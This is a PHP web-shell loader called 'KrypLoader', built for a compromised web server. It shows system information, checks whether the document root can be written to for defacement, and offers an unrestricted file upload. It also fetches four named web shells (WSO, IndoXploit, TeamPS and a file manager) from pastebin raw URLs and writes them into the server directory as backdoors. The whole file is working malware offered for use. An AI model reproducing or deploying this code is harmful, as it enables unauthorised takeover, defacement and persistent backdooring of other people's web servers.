<?php
/**
 * KrypLoader
 *
 * @author      Krypton
 * @copyright   Copyright (c) 2016
 *
 */
?>

<!-- BEGIN Style -->
<link rel="stylesheet" type="text/css" href="http://law.rmu.ac.th/upload/files/style.css">
<!-- END Style -->

<center><h1>KrypLoader</h1>Jannine Weigel	&trade;</center>
<?php
error_reporting(0);

//check if writeable
echo "
<table>
<tr>
	<td><b>USER </td><td>:</td></b></td><td>".php_uname()."</td>";
$thisdir = $_SERVER['DOCUMENT_ROOT'];
if (is_writable($thisdir)) {
    echo '<tr><td><b>Writeable Root Server</td> <td>:</td><td><font color="green" size="+1">'.$thisdir.' Is Root Server Writeable (U&#8217;re Can Deface Index)</font>'."</b></td></tr>";
} else {
    echo '<b><font color="red" size="+1">The file is not writable</font></b><br>';
    echo '</table>';
}
if(isset($_POST['Submit'])){
    $filedir = "";

    $file_name = $_FILES['image']['name'];
    $temporari = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$file_name;
        @move_uploaded_file($temporari, $abod);

echo"<center><b><font color=green>Uploaded -> $file_name</b></center></font>";
}
}
else{
echo'
<center><font size="+2"><b>&#8595;Load Shell &#8595;</b></font>
<ul>
	<li class="inline"><a href="?kr=fm">

	<section>
		<button id="js-trigger-overlay" type="button">Simple Filemanager</button>
  	</section></a>

	</li>

	<li class="inline"><a href="?kr=wso">

	<section>
		<button id="js-trigger-overlay" type="button">WSO</button>
  	</section></a>

  	</li>

	<li class="inline"><a href="?kr=idx">
	<section>
		<button id="js-trigger-overlay" type="button">IndoXploit Shell</button>

  	</section></a>
  	</li>

  	<li class="inline"><a href="?kr=teamps">
	<section>
		<button id="js-trigger-overlay" type="button">TeamPS Shell</button>
  	</section></a>
  	</li>


</ul>
<table border="1">

<form method="POST" action="" enctype="multipart/form-data">
<tr>
	<td>
		<input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>
	</td>
</tr>

</table>
';
}
echo '<b><h2>Listing Data</h2></b>';

//Scandir Func
$a = getcwd();
$scan = scandir($a);

foreach($scan as $file)
{
    if (!is_dir($file))
    {
        echo "<ul><li>".$file."</li>";
        echo '</ul>';
    }
}

//Auto Upload Func
//----------------------------------BEGIN FUNC SHELL AUTO UPLOAD----------------------------------
//simple file manager upload
if($_GET['kr'] == "fm") {
$sind = file_get_contents("http://pastebin.com/raw/C5FvGQCH");
$fp = fopen(getcwd() . "/sind.php","wb");
fwrite($fp,$sind);
$file = fclose($fp);

echo '<script>alert("sind.php created !");</script><a href="sind.php">Shell Disini</a>';
}

//WSO Shell upload
if($_GET['kr'] == "wso") {
$sind = file_get_contents("http://pastebin.com/raw/nXApJmsq");
$fp = fopen(getcwd() . "/wso.php","wb");
fwrite($fp,$sind);
fclose($fp);
echo '<script>alert("wso.php created !");</script><a href="wso.php">Shell Disini</a>';

}

//IDX Shell upload
if($_GET['kr'] == "idx") {
$sind = file_get_contents("http://pastebin.com/raw/nC6pWh5a");
$fp = fopen(getcwd() . "/idx.php","wb");
fwrite($fp,$sind);
fclose($fp);
echo '<script>alert("idx.php created !");</script><a href="idx.php">Shell Disini</a>Default Pass:IndoXploit';

}

//TeamPS Shell upload
if($_GET['kr'] == "teamps") {
$sind = file_get_contents("http://pastebin.com/raw/urDKD1Fg");
$fp = fopen(getcwd() . "/teamps.php","wb");
fwrite($fp,$sind);
fclose($fp);
echo '<script>alert("teamps.php created !");</script><a href="teamps.php">Shell Disini</a>';

}

//----------------------------------END FUNC SHELL AUTO UPLOAD----------------------------------

?>